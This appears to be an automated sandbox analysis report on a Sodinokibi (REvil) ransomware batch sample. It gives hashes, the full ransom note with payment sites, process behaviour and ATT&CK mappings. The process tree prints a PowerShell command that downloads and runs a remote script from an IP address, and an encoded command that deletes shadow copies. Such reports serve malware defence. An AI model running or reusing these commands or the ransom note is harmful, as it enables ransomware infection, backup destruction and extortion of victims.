sodinokibi | 6d611f64b2ac03203102331de336feb8d67ea6e9f258e1b245614e239dd1df80

General

Target

29ec9038cabce56dc3ae0d2ee20d9ed1.bat
Size

218B
MD5

b85f82f85e6208e52b6c015cd92e274d
SHA1

367648ab3b293615c8b98a358c8b0cf5cf69950a
SHA256

6d611f64b2ac03203102331de336feb8d67ea6e9f258e1b245614e239dd1df80
SHA512

15ee6c6c54e1ccaaf594adc6cf271634684669c55dfe1a853429f374fe2eb53b92642c373a0836b3e55f98c2b7bc874b0ad5cf650a593811173ae7bd2a567e12

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/29ec9038cabce56dc3ae0d2ee20d9ed1

Extracted

Path

C:\i449h0d19-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension i449h0d19. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B5220888DF7426CB 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/B5220888DF7426CB Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: y7eFoc0TvF8Fwl24+kFrBor7uT/v4eOPPgsdQXvnAV6D4axDoga41yka82DzqBfI aZ/VABqfiqDVC5dA9YM4P9eVjsqYQQzld8wXrUum6HH713D2I/X/eCAh80H+FIYz cEB0YzBgTFgoPHVcxea6Xif1wYCr2HmsYQTHO355IBCstwRsA8HoeD0PMN4PwJ2O QZxObuk6bEYylj+C2tGQdft6RJIai16TNR43kP069jLvWgqTiJAjqIdLlMb7/jQ4 SmO6+kNe9duZOCNW6O9Z7qWcfeaz/WQGkkHlCFWu3u0Vxf9p+OuFNYeanCYFvY9l al5V/5E3HQ7fen44iCaRKTs0UO8uEj3jr3Liy8TI+3ufNFsTV28NtpjMrhRWCP3T FS/CPrNtBQ6eSrDYnDQ6Pa/3DBGva4E1DE/Zrxh3lHlqfpUw9cqUMf5LBNRAonqd CHZhEw6QvOUXnEoqcPBDNxse41t1JgsXv2qJHDBiK0Dj/0aCyvlhwratQuY76VIe MkGiyp+ilyMi/grZTXreS016pW85t6N3q6Lk0UFyOXNERYWw87NNxs26STNQpcL9 ktY7rl+HYDBdzmfKhvwvmC/7pF8FfuUTSC3Mp7Xj2UxQx5WVd9q2/KwcmVmbGzna a8Z3EXWXuyaaSTV3qPujAfDNYgOyxXxS8mkdORY+KG4mB725GJJKj7YjfhZ6OBtr shjnrk8VDQVtx7bUf+8fBlT3QCEyKmvTiHV+9ZMjPioYH2DQPl20U4MZAwYVtl1U hXO/0E0I3SnjxXabapUS01O9Gb9y08n6H/evz5CQiYPL4iL3u2scH+TrNQf9anrp 3VrctW6RRoTDYXeCcISCv/Qbm3xwMbUpVBXfbXtT19hIY5zGyE4lzp9G9ZolN5Dy 21AGPT2VcqGoSL4ReGTMV7tJRyFSPgRKshroO5HB2hwQxLzYMEZf9dAcnQVIdm6s N6IQvz0ro0WtSpUfjaYQW77aIeTQPjhFPqzl6X6yCikPaNIGdiQrCf70dI+fQS+U FvtVF/dNxolZnmhcX7Ta2sKlbF3kzPm/oiDKHWLxkMNgcH4afIN4OT7/c/c/lKRx qsbjMuEim1YDqPLPEVXPylav6lh3XmgASlGhfCZDCvJIvI3pSjE07XSf7CvLfrn8 16PEJuV2PJ1tqCX6BRyYZ6MRGcK6UGHUj+4XteZ/Z+3D1TzgeMZwPeoCN2ilKevi suXAOHf07+aVWb2zh/+siUwE3OuitsPoS4UbbNEJ+J1zLmtev5FgEk7UZAhoXTTf vkfA84V1OF5WWnToihJ751wkum55eRevT6KH4qd9W3KQa7CmoDI= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B5220888DF7426CB

http://decryptor.cc/B5220888DF7426CB

Signatures

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

868 powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1520 wrote to memory of 868	1520	cmd.exe	powershell.exe
PID 868 wrote to memory of 1804	868	powershell.exe	powershell.exe
PID 868 wrote to memory of 1804	868	powershell.exe	powershell.exe
PID 868 wrote to memory of 1804	868	powershell.exe	powershell.exe
PID 868 wrote to memory of 1804	868	powershell.exe	powershell.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

1 868 powershell.exe

flow	pid	process
1	868	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a0i0y6v3n4.bmp"	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Drops file in Program Files directory 26 IoCs

Processes:

powershell.exe

description	ioc	process
File created	\??\c:\program files (x86)\i449h0d19-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ClearUnlock.snd	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromCompare.aiff	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\i449h0d19-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\RenameSplit.gif	powershell.exe
File opened for modification	\??\c:\program files\SkipExpand.ttc	powershell.exe
File opened for modification	\??\c:\program files\WatchLimit.jpeg	powershell.exe
File created	\??\c:\program files\i449h0d19-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CloseCompare.001	powershell.exe
File opened for modification	\??\c:\program files\DenyAssert.3gp2	powershell.exe
File opened for modification	\??\c:\program files\InitializeSubmit.vstm	powershell.exe
File opened for modification	\??\c:\program files\RedoRestart.asf	powershell.exe
File opened for modification	\??\c:\program files\RegisterGet.mp4	powershell.exe
File opened for modification	\??\c:\program files\WatchSync.vb	powershell.exe
File opened for modification	\??\c:\program files\CheckpointNew.pcx	powershell.exe
File opened for modification	\??\c:\program files\DebugConnect.shtml	powershell.exe
File opened for modification	\??\c:\program files\MergePop.gif	powershell.exe
File opened for modification	\??\c:\program files\MountCopy.docx	powershell.exe
File opened for modification	\??\c:\program files\ProtectRevoke.xla	powershell.exe
File opened for modification	\??\c:\program files\PushPop.MTS	powershell.exe
File opened for modification	\??\c:\program files\SyncExit.TS	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\i449h0d19-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\NewMount.3gpp	powershell.exe
File opened for modification	\??\c:\program files\UnblockExpand.dot	powershell.exe
File opened for modification	\??\c:\program files\UseWait.mpeg	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\i449h0d19-readme.txt	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	868	powershell.exe
Token: SeDebugPrivilege	868	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeBackupPrivilege	464	vssvc.exe
Token: SeRestorePrivilege	464	vssvc.exe
Token: SeAuditPrivilege	464	vssvc.exe
Token: SeTakeOwnershipPrivilege	868	powershell.exe

Suspicious behavior: EnumeratesProcesses 77 IoCs

Processes:

powershell.exepowershell.exe

pid	process
868	powershell.exe
868	powershell.exe
868	powershell.exe
1804	powershell.exe
1804	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe
868	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\29ec9038cabce56dc3ae0d2ee20d9ed1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1520

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/29ec9038cabce56dc3ae0d2ee20d9ed1');Invoke-PYPLANTTDQA;Start-Sleep -s 10000"
2⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
- Blacklisted process makes network request
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:868

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1804

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:464

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads